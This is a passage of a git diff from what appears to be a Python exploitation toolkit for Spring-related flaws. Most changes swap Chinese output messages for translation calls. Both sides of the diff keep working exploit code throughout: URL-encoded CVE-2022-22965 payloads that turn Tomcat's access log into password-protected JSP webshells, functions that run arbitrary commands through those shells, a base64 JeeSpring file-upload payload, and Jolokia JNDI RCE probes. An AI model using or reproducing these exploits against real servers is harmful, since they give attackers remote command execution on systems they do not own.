f"class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20" \ + f"java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter" \ + f"(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B" \ + f"%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di" + self.log_pattern2 = f"class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20" \ + f"if(%2213exp%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in" \ + f"%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()" \ + f"%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20" \ + f"while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di" + self.directory = "webapps/ROOT" + self.log_file_suffix = "class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp" + self.log_file_dir = f"class.module.classLoader.resources.context.parent.pipeline.first.directory={self.directory}" + self.log_file_date_format = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" + + def poc(self,url,proxies,ProxyStute): + self.expTypeGet = self.configRead.VulnsConfigRead() + self.expType = self.expTypeGet["expType"] + if self.expType == "aabysszg": + result = self.poc1(url,proxies,ProxyStute) + return result + else: + result = self.poc2(url,proxies,ProxyStute) + return result + def poc1(self,url,proxies,ProxyStute): + if ProxyStute == 1: + proxies = proxies + else: + proxies = None + self.getpayload = url + self.payload_http + try: + requests.packages.urllib3.disable_warnings() + requests.post(url, headers=self.Headers_1, data=self.data1, timeout=6, allow_redirects=False, verify=False, + proxies=proxies) + sleep(0.5) + requests.post(url, headers=self.Headers_1, data=self.data2, timeout=6, allow_redirects=False, verify=False, + proxies=proxies) + sleep(0.5) + requests.get(self.getpayload, headers=self.Headers_1, timeout=6, allow_redirects=False, verify=False, proxies=proxies) + sleep(0.5) + + test = requests.get(url + "tomcatwar.jsp", verify=False, proxies=proxies) + if (test.status_code == 200) and ('aabysszg' in str(test.text)): + result = tr("v.22965.shell_aabyss", url=url) + return result + else: + result = tr("v.22965.shell_manual", url=url) + return result + except Exception as e: + error = tr("v.unknown", url=url, e=e) + return error + def poc2(self,url,proxies,ProxyStute): + + if ProxyStute == 1: + proxies = proxies + else: + proxies = None + if self.expType == "default": + self.filename = "shell" + self.log_file_prefix = f"class.module.classLoader.resources.context.parent.pipeline.first.prefix={self.filename}" + self.exp_data = "&".join([self.log_pattern1, self.log_file_suffix, self.log_file_dir, self.log_file_prefix, + self.log_file_date_format]) + elif self.expType == "13EXP": + self.filename = "wbexp" + self.log_file_prefix = f"class.module.classLoader.resources.context.parent.pipeline.first.prefix={self.filename}" + self.exp_data = "&".join([self.log_pattern2, self.log_file_suffix, self.log_file_dir, self.log_file_prefix, + self.log_file_date_format]) + else: + return "error" + + try: + requests.packages.urllib3.disable_warnings() + file_date_data = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_" + ret = requests.post(url, headers=self.post_headers, data=file_date_data, verify=False, proxies=proxies) + ret = requests.post(url, headers=self.post_headers, data=self.exp_data, verify=False, proxies=proxies) + result1 = f"[+]Upload Exp: {ret.status_code}\n" + if ret.status_code == 200: + sleep(3) + ret = requests.get(url, headers=self.get_headers, verify=False, proxies=proxies) + sleep(1) + pattern_data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=" + ret = requests.post(url, headers=self.post_headers, data=pattern_data, verify=False, proxies=proxies) + result2 = f"[+]Wirte Shell Response Code: {ret.status_code}\n" + if ret.status_code == 200: + if self.expType == "default": + result3 = tr("v.22965.shell_default", url=url) + return result1 + result2 + result3 + elif self.expType == "13EXP": + result4 = tr("v.22965.shell_13exp", url=url) + return result1 + result2 + result4 + else: + return "error" + else: + result = f"[-]Wirte Shell Response Error: {ret.status_code}" + return result + else: + result = tr("v.22965.shell_scan", url=url) + return result + except Exception as e: + error = tr("v.unknown", url=url, e=e) + return error + def exp(self, url, proxies, ProxyStute,cmd): + self.expTypeGet = self.configRead.VulnsConfigRead() + self.expType = self.expTypeGet["expType"] + shell1 = url + f"shell.jsp?cmd={cmd}" + shell2 = url + f"tomcatwar.jsp?pwd=aabysszg&cmd={cmd}" + shell3 = url + f"wbexp.jsp?pwd=13exp&cmd={cmd}" + if ProxyStute == 1: + proxies = proxies + else: + proxies = None + try: + if self.expType == "default": + r = requests.get(url=shell1,proxies=proxies) + elif self.expType == "aabysszg": + r = requests.get(url=shell2,proxies=proxies) + elif self.expType == "13EXP": + r = requests.get(url=shell3,proxies=proxies) + else: + return "error exp" + resp = r.text.strip("\n") + return resp + except urllib3.util.ssl_match_hostname.CertificateError: + result = tr("v.22965.cmd_req_err") + except urllib3.exceptions.MaxRetryError: + result = tr("v.22965.cmd_req_err") + except requests.exceptions.SSLError: + result = tr("v.22965.cmd_req_err") + except: + result = tr("v.22965.cmd_unknown") + return result +if __name__ == "__main__": + poc = CVE_2022_22965() + result = poc.poc("http://127.0.0.1:8081",proxies=None,ProxyStute=0) print(result) \ No newline at end of file diff --git a/vuls/CVE_2022_22965_Async.py b/vuls/CVE_2022_22965_Async.py index 0b14011..e28b20c 100644 --- a/vuls/CVE_2022_22965_Async.py +++ b/vuls/CVE_2022_22965_Async.py @@ -1,62 +1,63 @@ -# coding:utf-8 - -import aiohttp -import asyncio -from util import RandomUA - -class CVE_2022_22965_Async: - def __init__(self): - ua = RandomUA.RandomUA() - self.ua = ua.UserAgent() - self.Headers_1 = { - "User-Agent": self.ua, - "suffix": "%>//", - "c1": "Runtime", - "c2": "<%", - "DNT": "1", - "Content-Type": "application/x-www-form-urlencoded" - } - self.payload_linux = """class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22aabysszg%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(new String[]{%22bash%22,%22-c%22,request.getParameter(%22cmd%22)}).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=""" - self.payload_win = """class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22aabysszg%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(new String[]{%22cmd%22,%22/c%22,request.getParameter(%22cmd%22)}).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=""" - self.payload_http = """?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22aabysszg%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=""" - self.data1 = self.payload_linux - self.data2 = self.payload_win - - async def fetch(self, session, url, headers, data, proxies): - try: - async with session.post(url=url, headers=headers, data=data, verify_ssl=False, proxies=proxies, timeout=6) as response: - return await response.text(), response.status - except Exception as e: - return str(e), 0 - - async def poc(self, url, proxies, ProxyStute): - if ProxyStute == 1: - proxy = proxies - else: - proxy = None - try: - async with aiohttp.ClientSession() as session: - # Asynchronously perform the requests - await asyncio.gather( - self.fetch(session, url, self.Headers_1, self.data1, proxy), - asyncio.sleep(0.5), # Sleep for 0.5 seconds between requests - self.fetch(session, url, self.Headers_1, self.data2, proxy), - asyncio.sleep(0.5), # Sleep for 0.5 seconds between requests - self.fetch(session, url + self.payload_http, self.Headers_1, "", proxy), - asyncio.sleep(0.5) # Sleep for 0.5 seconds between requests - ) - - # Check the result - test_text, test_code = await self.fetch(session, url + "tomcatwar.jsp", self.Headers_1, "", proxy) - - if test_code == 200 and 'aabysszg' in str(test_text): - result = f'[+] 存在编号为CVE-2022-22965的RCE漏洞,上传Webshell为:{url}tomcatwar.jsp?pwd=aabysszg&cmd=whoami' - return result - else: - result = f'[-] {url} CVE-2022-22965漏洞不存在或者已经被利用,shell地址请手动尝试访问:[/tomcatwar.jsp?pwd=aabysszg&cmd=命令]' - return result - except Exception as e: - error = f"[error] {url} 未知错误 {e}" - return error - async def exp(self, url, proxies, ProxyStute): +# coding:utf-8 + +import aiohttp +import asyncio +from util import RandomUA +from util.Translate import tr + +class CVE_2022_22965_Async: + def __init__(self): + ua = RandomUA.RandomUA() + self.ua = ua.UserAgent() + self.Headers_1 = { + "User-Agent": self.ua, + "suffix": "%>//", + "c1": "Runtime", + "c2": "<%", + "DNT": "1", + "Content-Type": "application/x-www-form-urlencoded" + } + self.payload_linux = """class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22aabysszg%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(new String[]{%22bash%22,%22-c%22,request.getParameter(%22cmd%22)}).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=""" + self.payload_win = """class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22aabysszg%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(new String[]{%22cmd%22,%22/c%22,request.getParameter(%22cmd%22)}).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=""" + self.payload_http = """?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22aabysszg%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=""" + self.data1 = self.payload_linux + self.data2 = self.payload_win + + async def fetch(self, session, url, headers, data, proxies): + try: + async with session.post(url=url, headers=headers, data=data, verify_ssl=False, proxies=proxies, timeout=6) as response: + return await response.text(), response.status + except Exception as e: + return str(e), 0 + + async def poc(self, url, proxies, ProxyStute): + if ProxyStute == 1: + proxy = proxies + else: + proxy = None + try: + async with aiohttp.ClientSession() as session: + # Asynchronously perform the requests + await asyncio.gather( + self.fetch(session, url, self.Headers_1, self.data1, proxy), + asyncio.sleep(0.5), # Sleep for 0.5 seconds between requests + self.fetch(session, url, self.Headers_1, self.data2, proxy), + asyncio.sleep(0.5), # Sleep for 0.5 seconds between requests + self.fetch(session, url + self.payload_http, self.Headers_1, "", proxy), + asyncio.sleep(0.5) # Sleep for 0.5 seconds between requests + ) + + # Check the result + test_text, test_code = await self.fetch(session, url + "tomcatwar.jsp", self.Headers_1, "", proxy) + + if test_code == 200 and 'aabysszg' in str(test_text): + result = tr("v.22965.shell_aabyss", url=url) + return result + else: + result = tr("v.22965.shell_manual", url=url) + return result + except Exception as e: + error = tr("v.unknown", url=url, e=e) + return error + async def exp(self, url, proxies, ProxyStute): pass \ No newline at end of file diff --git a/vuls/JeeSpring_2023.py b/vuls/JeeSpring_2023.py index fd143a4..04d1965 100644 --- a/vuls/JeeSpring_2023.py +++ b/vuls/JeeSpring_2023.py @@ -1,54 +1,55 @@ -# coding:utf-8 - -import base64 -import requests - -from util import RandomUA - -class JeeSpring_2023: - def __init__(self): - ua = RandomUA.RandomUA() - self.ua = ua.UserAgent() - self.headers1 = { - 'User-Agent': self.ua, - 'Content-Type': 'multipart/form-data;boundary=----WebKitFormBoundarycdUKYcs7WlAxx9UL', - 'Accept-Encoding': 'gzip, deflate', - 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apn g,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7', - 'Accept-Language': 'zh-CN,zh;q=0.9,ja;q=0.8', - 'Connection': 'close' - } - self.payload2 = b'LS0tLS0tV2ViS2l0Rm9ybUJvdW5kYXJ5Y2RVS1ljczdXbEF4eDlVTA0KQ29udGVudC1EaXNwb3NpdGlvbjogZm9ybS1kYXRhOyBuYW1lPSJmaWxlIjsgZmlsZW5hbWU9ImxvZy5qc3AiDQpDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbQ0KDQo8JSBvdXQucHJpbnRsbigiSGVsbG8gV29ybGQiKTsgJT4NCi0tLS0tLVdlYktpdEZvcm1Cb3VuZGFyeWNkVUtZY3M3V2xBeHg5VUwtLQo=' - self.payload = base64.b64decode(self.payload2) - self.path = 'static/uploadify/uploadFile.jsp?uploadPath=/static/uploadify/' - - def poc(self,url,proxies,ProxyStute): - if ProxyStute == 1: - proxies = proxies - else: - proxies = None - try: - requests.packages.urllib3.disable_warnings() - - re1 = requests.post(url=url + self.path, data=self.payload, headers=self.headers1, verify=False, proxies=proxies) - - code1 = re1.status_code - if ('jsp' in str(re1.text)) and (int(code1) == 200): - result1 = "[+] Payload已经发送,成功上传JSP\n" - newpath = str(re1.text) - urltest = url + "static/uploadify/" + newpath.strip() - retest = requests.get(url=urltest, verify=False, proxies=proxies) - code2 = retest.status_code - if ('Hello' in str(retest.text)) and (code2 == 200): - result2 = f"[+] {urltest} 存在2023JeeSpring任意文件上传漏洞" - return result1 + result2 - else: - result2 = f"[-] {urltest} 未发现Poc存活,请手动验证" - return result1 + result2 - else: - result = f"[-] {url} 2023JeeSpring任意文件上传漏洞不存在" - return result - except Exception as e: - error = f"[error] {url} 未知错误 {e}" - return error - def exp(self,url,proxies,ProxyStute,cmd): +# coding:utf-8 + +import base64 +import requests + +from util import RandomUA +from util.Translate import tr + +class JeeSpring_2023: + def __init__(self): + ua = RandomUA.RandomUA() + self.ua = ua.UserAgent() + self.headers1 = { + 'User-Agent': self.ua, + 'Content-Type': 'multipart/form-data;boundary=----WebKitFormBoundarycdUKYcs7WlAxx9UL', + 'Accept-Encoding': 'gzip, deflate', + 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apn g,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7', + 'Accept-Language': 'zh-CN,zh;q=0.9,ja;q=0.8', + 'Connection': 'close' + } + self.payload2 = b'LS0tLS0tV2ViS2l0Rm9ybUJvdW5kYXJ5Y2RVS1ljczdXbEF4eDlVTA0KQ29udGVudC1EaXNwb3NpdGlvbjogZm9ybS1kYXRhOyBuYW1lPSJmaWxlIjsgZmlsZW5hbWU9ImxvZy5qc3AiDQpDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbQ0KDQo8JSBvdXQucHJpbnRsbigiSGVsbG8gV29ybGQiKTsgJT4NCi0tLS0tLVdlYktpdEZvcm1Cb3VuZGFyeWNkVUtZY3M3V2xBeHg5VUwtLQo=' + self.payload = base64.b64decode(self.payload2) + self.path = 'static/uploadify/uploadFile.jsp?uploadPath=/static/uploadify/' + + def poc(self,url,proxies,ProxyStute): + if ProxyStute == 1: + proxies = proxies + else: + proxies = None + try: + requests.packages.urllib3.disable_warnings() + + re1 = requests.post(url=url + self.path, data=self.payload, headers=self.headers1, verify=False, proxies=proxies) + + code1 = re1.status_code + if ('jsp' in str(re1.text)) and (int(code1) == 200): + result1 = tr("v.jee.payload") + newpath = str(re1.text) + urltest = url + "static/uploadify/" + newpath.strip() + retest = requests.get(url=urltest, verify=False, proxies=proxies) + code2 = retest.status_code + if ('Hello' in str(retest.text)) and (code2 == 200): + result2 = tr("v.jee.found", url=urltest) + return result1 + result2 + else: + result2 = tr("v.jee.manual", url=urltest) + return result1 + result2 + else: + result = tr("v.jee.none", url=url) + return result + except Exception as e: + error = tr("v.unknown", url=url, e=e) + return error + def exp(self,url,proxies,ProxyStute,cmd): pass \ No newline at end of file diff --git a/vuls/JeeSpring_2023_Async.py b/vuls/JeeSpring_2023_Async.py index 43319eb..1f57e85 100644 --- a/vuls/JeeSpring_2023_Async.py +++ b/vuls/JeeSpring_2023_Async.py @@ -1,58 +1,59 @@ -# coding:utf-8 - -import aiohttp -import base64 -from util import RandomUA - -class JeeSpring_2023_Async: - def __init__(self): - ua = RandomUA.RandomUA() - self.ua = ua.UserAgent() - self.headers1 = { - 'User-Agent': self.ua, - 'Content-Type': 'multipart/form-data;boundary=----WebKitFormBoundarycdUKYcs7WlAxx9UL', - 'Accept-Encoding': 'gzip, deflate', - 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7', - 'Accept-Language': 'zh-CN,zh;q=0.9,ja;q=0.8', - 'Connection': 'close' - } - self.payload2 = b'LS0tLS0tV2ViS2l0Rm9ybUJvdW5kYXJ5Y2RVS1ljczdXbEF4eDlVTA0KQ29udGVudC1EaXNwb3NpdGlvbjogZm9ybS1kYXRhOyBuYW1lPSJmaWxlIjsgZmlsZW5hbWU9ImxvZy5qc3AiDQpDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbQ0KDQo8JSBvdXQucHJpbnRsbigiSGVsbG8gV29ybGQiKTsgJT4NCi0tLS0tLVdlYktpdEZvcm1Cb3VuZGFyeWNkVUtZY3M3V2xBeHg5VUwtLQo=' - self.payload = base64.b64decode(self.payload2) - self.path = 'static/uploadify/uploadFile.jsp?uploadPath=/static/uploadify/' - - async def fetch(self, session, url, payload, headers, proxies): - try: - async with session.post(url=url, data=payload, headers=headers, verify_ssl=False, proxies=proxies) as response: - return await response.text(), response.status - except Exception as e: - return str(e), 0 - - async def poc(self, url, proxies, ProxyStute): - if ProxyStute == 1: - proxy = proxies - else: - proxy = None - try: - async with aiohttp.ClientSession() as session: - text1, code1 = await self.fetch(session, url + self.path, self.payload, self.headers1, proxy) - - if 'jsp' in text1 and code1 == 200: - result1 = "[+] Payload已经发送,成功上传JSP\n" - newpath = text1.strip() - urltest = url + "static/uploadify/" + newpath - text2, code2 = await self.fetch(session, urltest, b"", self.headers1, proxy) - - if 'Hello' in text2 and code2 == 200: - result2 = f"[+] {urltest} 存在2023JeeSpring任意文件上传漏洞" - return result1 + result2 - else: - result2 = f"[-] {urltest} 未发现Poc存活,请手动验证" - return result1 + result2 - else: - result = f"[-] {url} 2023JeeSpring任意文件上传漏洞不存在" - return result - except Exception as e: - error = f"[error] {url} 未知错误 {e}" - return error - async def exp(self, url, proxies, ProxyStute): +# coding:utf-8 + +import aiohttp +import base64 +from util import RandomUA +from util.Translate import tr + +class JeeSpring_2023_Async: + def __init__(self): + ua = RandomUA.RandomUA() + self.ua = ua.UserAgent() + self.headers1 = { + 'User-Agent': self.ua, + 'Content-Type': 'multipart/form-data;boundary=----WebKitFormBoundarycdUKYcs7WlAxx9UL', + 'Accept-Encoding': 'gzip, deflate', + 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7', + 'Accept-Language': 'zh-CN,zh;q=0.9,ja;q=0.8', + 'Connection': 'close' + } + self.payload2 = b'LS0tLS0tV2ViS2l0Rm9ybUJvdW5kYXJ5Y2RVS1ljczdXbEF4eDlVTA0KQ29udGVudC1EaXNwb3NpdGlvbjogZm9ybS1kYXRhOyBuYW1lPSJmaWxlIjsgZmlsZW5hbWU9ImxvZy5qc3AiDQpDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbQ0KDQo8JSBvdXQucHJpbnRsbigiSGVsbG8gV29ybGQiKTsgJT4NCi0tLS0tLVdlYktpdEZvcm1Cb3VuZGFyeWNkVUtZY3M3V2xBeHg5VUwtLQo=' + self.payload = base64.b64decode(self.payload2) + self.path = 'static/uploadify/uploadFile.jsp?uploadPath=/static/uploadify/' + + async def fetch(self, session, url, payload, headers, proxies): + try: + async with session.post(url=url, data=payload, headers=headers, verify_ssl=False, proxies=proxies) as response: + return await response.text(), response.status + except Exception as e: + return str(e), 0 + + async def poc(self, url, proxies, ProxyStute): + if ProxyStute == 1: + proxy = proxies + else: + proxy = None + try: + async with aiohttp.ClientSession() as session: + text1, code1 = await self.fetch(session, url + self.path, self.payload, self.headers1, proxy) + + if 'jsp' in text1 and code1 == 200: + result1 = tr("v.jee.payload") + newpath = text1.strip() + urltest = url + "static/uploadify/" + newpath + text2, code2 = await self.fetch(session, urltest, b"", self.headers1, proxy) + + if 'Hello' in text2 and code2 == 200: + result2 = tr("v.jee.found", url=urltest) + return result1 + result2 + else: + result2 = tr("v.jee.manual", url=urltest) + return result1 + result2 + else: + result = tr("v.jee.none", url=url) + return result + except Exception as e: + error = tr("v.unknown", url=url, e=e) + return error + async def exp(self, url, proxies, ProxyStute): pass \ No newline at end of file diff --git a/vuls/JolokiaRCE.py b/vuls/JolokiaRCE.py index 35e33ce..304aae7 100644 --- a/vuls/JolokiaRCE.py +++ b/vuls/JolokiaRCE.py @@ -1,43 +1,44 @@ -# coding:utf-8 - -import requests - -class JolokiaRCE: - def __init__(self): - self.path1 = 'jolokia' - self.path2 = 'actuator/jolokia' - self.path3 = 'jolokia/list' - def poc(self,url,proxies,ProxyStute): - if ProxyStute == 1: - proxies = proxies - else: - proxies = None - try: - requests.packages.urllib3.disable_warnings() - - re1 = requests.post(url=url + self.path1, timeout=10, allow_redirects=False, verify=False, proxies=proxies) - re2 = requests.post(url=url + self.path2, timeout=10, allow_redirects=False, verify=False, proxies=proxies) - - code1 = re1.status_code - code2 = re2.status_code - if ((int(code1) == 200) or (int(code2) == 200)): - result1 = "[+] 发现jolokia相关路径状态码为200,进一步验证\n" - retest = requests.get(url=url + self.path3, timeout=10, verify=False, proxies=proxies) - code3 = retest.status_code - if ('reloadByURL' in str(retest.text)) and (code3 == 200): - result2 = f'[+] {url+ self.path3 } 存在Jolokia-Logback-JNDI-RCE漏洞下' - return result1 + result2 - elif ('createJNDIRealm' in str(retest.text)) and (code3 == 200): - result2 = f'[+] {url+ self.path3 } 存在Jolokia-Realm-JNDI-RCE漏洞下' - return result1 + result2 - else: - result = f"[-] {url} 未发现jolokia/list路径存在关键词,请手动验证" - return result1 + result - else: - result = f"[-] {url}Jolokia系列RCE漏洞不存在" - return result - except Exception as e: - error = f"[error] {url} 未知错误 {e}" - return error - def exp(self,url,proxies,ProxyStute,cmd): +# coding:utf-8 + +import requests +from util.Translate import tr + +class JolokiaRCE: + def __init__(self): + self.path1 = 'jolokia' + self.path2 = 'actuator/jolokia' + self.path3 = 'jolokia/list' + def poc(self,url,proxies,ProxyStute): + if ProxyStute == 1: + proxies = proxies + else: + proxies = None + try: + requests.packages.urllib3.disable_warnings() + + re1 = requests.post(url=url + self.path1, timeout=10, allow_redirects=False, verify=False, proxies=proxies) + re2 = requests.post(url=url + self.path2, timeout=10, allow_redirects=False, verify=False, proxies=proxies) + + code1 = re1.status_code + code2 = re2.status_code + if ((int(code1) == 200) or (int(code2) == 200)): + result1 = tr("v.jolokia.path") + retest = requests.get(url=url + self.path3, timeout=10, verify=False, proxies=proxies) + code3 = retest.status_code + if ('reloadByURL' in str(retest.text)) and (code3 == 200): + result2 = tr("v.jolokia.logback", url=url + self.path3) + return result1 + result2 + elif ('createJNDIRealm' in str(retest.text)) and (code3 == 200): + result2 = tr("v.jolokia.realm", url=url + self.path3) + return result1 + result2 + else: + result = tr("v.jolokia.manual", url=url) + return result1 + result + else: + result = tr("v.jolokia.none", url=url) + return result + except Exception as e: + error = tr("v.unknown", url=url, e=e) + return error + def exp(self,url,proxies,ProxyStute,cmd): pass \ No newline at end of file diff --git a/vuls/JolokiaRCE_Async.py b/vuls/JolokiaRCE_Async.py index 874c9d4..29af6aa 100644 --- a/vuls/JolokiaRCE_Async.py +++ b/vuls/JolokiaRCE_Async.py @@ -1,48 +1,49 @@ -# coding:utf-8 - -import aiohttp - -class JolokiaRCE_Async: - def __init__(self): - self.path1 = 'jolokia' - self.path2 = 'actuator/jolokia' - self.path3 = 'jolokia/list' - - async def fetch(self, session, url, path, proxies): - try: - async with session.post(url=url + path, timeout=10, allow_redirects=False, verify_ssl=False, proxies=proxies) as response: - return await response.text(), response.status - except Exception as e: - return str(e), 0 - - async def poc(self, url, proxies, ProxyStute): - if ProxyStute == 1: - proxy = proxies - else: - proxy = None - try: - async with aiohttp.ClientSession() as session: - text1, code1 = await self.fetch(session, url, self.path1, proxy) - text2, code2 = await self.fetch(session, url, self.path2, proxy) - - if int(code1) == 200 or int(code2) == 200: - result1 = "[+] 发现jolokia相关路径状态码为200,进一步验证\n" - text3, code3 = await self.fetch(session, url, self.path3, proxy) - - if 'reloadByURL' in text3 and code3 == 200: - result2 = f'[+] {url + self.path3 } 存在Jolokia-Logback-JNDI-RCE漏洞下' - return result1 + result2 - elif 'createJNDIRealm' in text3 and code3 == 200: - result2 = f'[+] {url + self.path3 } 存在Jolokia-Realm-JNDI-RCE漏洞下' - return result1 + result2 - else: - result = f"[-] {url} 未发现jolokia/list路径存在关键词,请手动验证" - return result1 + result - else: - result = f"[-] {url} Jolokia系列RCE漏洞不存在" - return result - except Exception as e: - error = f"[error] {url} 未知错误 {e}" - return error - async def exp(self, url, proxies, ProxyStute): +# coding:utf-8 + +import aiohttp +from util.Translate import tr + +class JolokiaRCE_Async: + def __init__(self): + self.path1 = 'jolokia' + self.path2 = 'actuator/jolokia' + self.path3 = 'jolokia/list' + + async def fetch(self, session, url, path, proxies): + try: + async with session.post(url=url + path, timeout=10, allow_redirects=False, verify_ssl=False, proxies=proxies) as response: + return await response.text(), response.status + except Exception as e: + return str(e), 0 + + async def poc(self, url, proxies, ProxyStute): + if ProxyStute == 1: + proxy = proxies + else: + proxy = None + try: + async with aiohttp.ClientSession() as session: + text1, code1 = await self.fetch(session, url, self.path1, proxy) + text2, code2 = await self.fetch(session, url, self.path2, proxy) + + if int(code1) == 200 or int(code2) == 200: + result1 = tr("v.jolokia.path") + text3, code3 = await self.fetch(session, url, self.path3, proxy) + + if 'reloadByURL' in text3 and code3 == 200: + result2 = tr("v.jolokia.logback", url=url + self.path3) + return result1 + result2 + elif 'createJNDIRealm' in text3 and code3 == 200: + result2 = tr("v.jolokia.realm", url=url + self.path3) + return result1 + result2 + else: + result = tr("v.jolokia.manual", url=url) + return result1 + result + else: + result = tr("v.jolokia.none", url=url) + return result + except Exception as e: + error = tr("v.unknown", url=url, e=e) + return error + async def exp(self, url, proxies, ProxyStute): pass \ No newline at end of file diff --git a/vuls/SnakeYAML_RCE.py b/vuls/SnakeYAML_RCE.py index 0ba675f..ba8a809 100644 --- a/vuls/SnakeYAML_RCE.py +++ b/vuls/SnakeYAML_RCE.py @@ -1,52 +1,53 @@ -# coding:utf-8 - -import requests -from util import RandomUA - -class SnakeYAML_RCE: - def __init__(self): - ua = RandomUA.RandomUA() - self.ua = ua.UserAgent() - self.Headers_1 = { - "User-Agent": self.ua, - "Content-Type": "application/x-www-form-urlencoded" - } 